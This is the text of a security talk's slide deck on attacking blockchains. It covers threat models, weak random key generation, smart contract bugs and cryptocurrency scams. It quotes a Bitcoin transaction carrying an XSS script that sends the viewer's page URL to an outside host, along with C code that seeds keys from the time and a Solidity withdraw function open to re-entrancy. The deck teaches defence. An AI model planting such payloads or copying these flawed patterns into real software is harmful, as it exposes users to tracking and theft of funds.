A Decentralized, Trustless, State Machine

www.divergentsecurity.com |
Smashing the BlockChain
Mostly Just For Profit
1

WHAT IS A BLOCKCHAIN?
• Decentralized
– No single point of failure
– Democracy of nodes (clients)
– Strengthened by diversity
• Trustless
– No requirement for trust in any entity (computer, human, company, government)
– Validity of state can be independently verified
• State Machine
– Operates on shared state (Ledger)
– Synchronized execution (Blocks)
– Defined Instruction Set (Virtual Machine Opcodes)
– The power of rejection (Just Say No)
2
Blockchain:
“A Decentralized, Trustless, State Machine”

COMPONENTS OF AN
IMPLEMENTATION
3
Bitcoin Core architecture (Source: Eric Lombrozo)

Block
BITCOIN TRANSACTION VALIDATION
4
TX
...
[Output Script]
[Value]
...
Block
Block
Chain
New TX
[TX Hash]
[Output ID]
…
[Input Script]
[INPUT] + [OUTPUT] == TRUE?

WHAT IS A TRANSACTION? - BTC
5

WHAT IS A TRANSACTION? - ETH
6

HACKING FOR PROFIT (BEFORE)
7

HACKING FOR PROFIT (NOW)
8

APPSEC 101: THE RED FLAGS
9
Client / Server
with potentially
malicious peers
Complex message
parsing and data
storage
Virtual Machine that
executes untrusted
instructions
Reliance on complex
cryptographic
concepts
Concurrency
critical both locally
and between peers
Code is responsible
for BILLIONS of
dollars

THREAT MODEL - BIG PICTURE
• Recentralization
– Introduction of a single point of failure
– Some nodes are more “equal” than others
– Network based attacks (Segmentation, node isolation, etc)
• Trustlessness
– Consensus vulnerabilities (bugs in the algorithm)
– Verification vulnerabilities (bugs in the math)
• Infrastructure
– Attacks on critical infrastructure (Exchanges, Mining Pools)
– Connections between the blockchain and the real world
– Websites
• Social Interaction
– Attacks on the people
– Attacks on bad assumptions
10

THREAT MODEL -
IMPLEMENTATION
• Traditional Vulnerabilities
– Bitcoin Core is written in C++ (hundreds of
forks are not as highly vetted)
– Blockchain devs love “Memory Safe”
languages (Go, Rust)
– Prediction: An exploitable race condition in a
GoLang node implementation
• Homogeneity of clients
– One vulnerability impacts EVERYONE
– Simple forced crash == full network DoS
• Virtual Machine
– Bugs within the state machine itself
– Forks of BTC/ETH love to add instructions
11

THREAT MODEL -
CONTRACTS/SCRIPTS
• BTC Transaction Scripts
– Unspent outputs that are “solvable”
– Forks could modify instruction sets to create insecure
outputs
• Bugs in Contracts
– Memory Corruption (Yes! It has happened)
– Authorization Vulnerabilities
– Integer Over/Underflow
– Re-entrancy
– Logic Bugs
– Front Running
– No good random source
– Miner Advantage
• So many vulns, we now have a Top 10:
https://www.dasp.co/
12

WHAT IS A WALLET, ANYWAY
13
0x0102030405060708091011121314151617181920212223242526272829303132
~3.4028237e+38 possible keys
Estimated grains of sand on earth ~= 7.5e+18
Estimated planets in our galaxy ~= 1.0e+11
7.5e+18 x 1.0e+11 = 7.5e+29

START AT 1
14
0x0000000000000000000000000000000000000000000000000000000000000001

WHEN RANDOM ISN’T RANDOM
15
int main () {
unsigned int seed = time(0);
srand(seed);
printf("0x");
for (int i = 0; i < 32; i++) {
unsigned char c = rand();
printf("%02x", c);
}
printf("n");
return 0;
}

LET’S MAKE USERS GENERATE
RANDOM
16
- IOTA requires users to generate their own seed
- Used to generate subsequent private keys and
addresses (public key)
- 81 random A-Z and 9

LET’S HELP USERS MAKE
RANDOM!
17

LET’S HELP USERS MAKE RANDOM
18

www.divergentsecurity.com | 19

YEP, THIS WAS EXPLOITED
20

OKAY, OKAY, WE GET IT!
What should a user do?
21

NODE ISOLATION
22

CVE 2010-5141
23
https://git.io/vhTrk

FORKS OF BITCOIN CORE
24

MONEY + TECHNOLOGY + SOCIAL
MEDIA
Instant money transfer is ripe for scams
25

ELON MUSK… ETH CHARITY...
26

SO MUCH FOR STANDARD
27
https://blockchain.info/strange-transactions
https://git.io/vhTWe
OP_1
OP_ADD OP_ADD 13 OP_EQUAL
203c73637269707420747970653d27746578742f6a6176617363726970
74273e646f63756d656e742e777269746528273c696d67207372633d5c
27687474703a2f2f7777772e74726f6c6c626f742e6f72672f7873732d62
6c6f636b636861696e2d6465746563746f722e7068703f62633d6274632
6687265663d27202b206c6f636174696f6e2e68726566202b20275c273
e27293b3c2f7363726970743e20 OP_DROP
OP_ADD OP_ADD 13 OP_EQUAL
<script type=’text/javascript’>document.write(‘<img
src=’http://www.trollbot.org/xss-blockchain-detector.php?bc=btc&href='
+ location.href + ‘’>’);</script>
OP_DROP
OP_MIN OP_3 OP_EQUAL

SO MUCH FOR STANDARD
28

SOLIDITY MEMORY CORRUPTION..
WHA!!
29
https://git.io/vhTwW

AUTHORIZATION
30
https://git.io/vhTr0

RE-ENTRACY
function withdraw() {
require(balances[msg.sender] > 0);
msg.sender.transfer(balances[msg.sender]);
balances[msg.sender] = 0;
}
31
Detailed analysis of the DAO compromise:
https://bit.ly/1sLuetj

SECURITY IS HARD
32

PONZI COIN
33

PONZI COIN
34
Please give me my 2 ETH back sadface

THANK YOU!
San Francisco, CA (415) 286-5936 query@divergentsecurity.com divergentsecurity.com
35

A Decentralized, Trustless, State Machine

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